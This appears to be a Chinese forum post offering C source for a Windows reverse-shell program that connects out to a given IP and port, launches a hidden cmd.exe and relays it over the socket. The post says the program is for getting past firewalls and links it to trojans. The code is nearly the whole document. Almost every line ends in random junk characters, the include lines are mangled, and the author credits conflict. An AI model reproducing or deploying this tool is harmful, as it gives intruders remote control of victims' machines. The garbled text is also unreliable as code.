Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ^j]_MiA4  
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/* ============================== B\Uocn  
Rebound port in Windows NT lL"ANlX-P  
By wind,2006/7 V?&P).5)  
===============================*/ g[$4a4X  
#include G-e
SHv  
#include ndS8p]P&o(  
/MZ^;XG  
#pragma comment(lib,"wsock32.lib") 6 U_P  
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void OutputShell(); @^Yr=d ba  
SOCKET sClient; 3{9d5p|\i  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }va>jfy  
3 @%XR8ss  
void main(int argc,char **argv) <d~si^*\ch  
{ ?tx."MZ  
WSADATA stWsaData; y7| 3]>Z  
int nRet; S pk8u4  
SOCKADDR_IN stSaiClient,stSaiServer; xq<X:\O  
lb\VQZp!y  
if(argc != 3) 4Be\5Byr  
{ DhD^w;f]  
printf("Useage:\n\rRebound DestIP DestPort\n"); D";@)\jN  
return; ^]MLEr!S  
} 'wni.E&  
h&2l0|8k  
WSAStartup(MAKEWORD(2,2),&stWsaData); fi 
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%jn)=;\  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u7lO2C7  
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stSaiClient.sin_family = AF_INET; $rm/{i_7  
stSaiClient.sin_port = htons(0); D|$Fw5!^k6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KZ@'NnQ  
n}/4em?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VG|FjD  
{ @7K(_Wd  
printf("Bind Socket Failed!\n"); ;@xlrj+  
return; '8=/v*j>?  
} :*Y2na)qQ  
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stSaiServer.sin_family = AF_INET; sW@_' Lw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %"^8$A?>,k  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e%C_>  
{A'_5 X9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) iTVZo?lVo  
{ H{hzw&dZ<P  
printf("Connect Error!"); YO9;NA{sH  
return; _$i
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} v1z d[jqk  
OutputShell(); %rJ'DPs  
} GA;h7  
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void OutputShell() ;OZl' . %`  
{ \3`r/,wY  
char szBuff[1024]; 33g$mUB  
SECURITY_ATTRIBUTES stSecurityAttributes; Lg{M<Q)4  
OSVERSIONINFO stOsversionInfo; \P7<q,OGS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hkMVA  
STARTUPINFO stStartupInfo; yMXf&$C  
char *szShell; 1>Q4&1Vn  
PROCESS_INFORMATION stProcessInformation; Ll.P>LH  
unsigned long lBytesRead; N-W>tng_x  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _!,Ees=b  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (eSsx/  
stSecurityAttributes.lpSecurityDescriptor = 0; 6V*,nocL_+  
stSecurityAttributes.bInheritHandle = TRUE; SEVB.;  
zd/kr  
tAsap}(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U7Oa 13Qz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DLuaM?7  
)qe rA  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {@6:kkd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Aojk8tc  
stStartupInfo.wShowWindow = SW_HIDE; #nw+U+qL  
stStartupInfo.hStdInput = hReadPipe; =#=}|Q}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %%NT m  
-E~r?\;X  
GetVersionEx(&stOsversionInfo); }x+6<Rp'E_  
\*[DR R0  
switch(stOsversionInfo.dwPlatformId) f;AI4:#I  
{ Ho =vdB  
case 1: h,n}=g+?  
szShell = "command.com"; V~p01f"J  
break; `mA;1S  
default: D|ra ;d  
szShell = "cmd.exe"; 9p{n7.  
break; iD*Hh-  
} \Y>b#*m(4  
Q6D>(H#"0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >]8(3&zd  
-+Ot'^  
send(sClient,szMsg,77,0); HNCu:$Wr@  
while(1) T*%rhnTv0  
{ mPHto-=fB  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FSm.o?>  
if(lBytesRead) +80bG(I_  
{ a"Xh  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DP0@x+`k  
send(sClient,szBuff,lBytesRead,0); 4\5i}MIS0  
} 5:jme$BI  
else T0Xm}i  
{ ar#73f  
lBytesRead=recv(sClient,szBuff,1024,0); @6|<c  
if(lBytesRead<=0) break; BGxwPJd  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *hru);OJr  
} DxwR&S{  
} n~]"sTC}&  
wU>Fz*  
return; &a=78Z  
}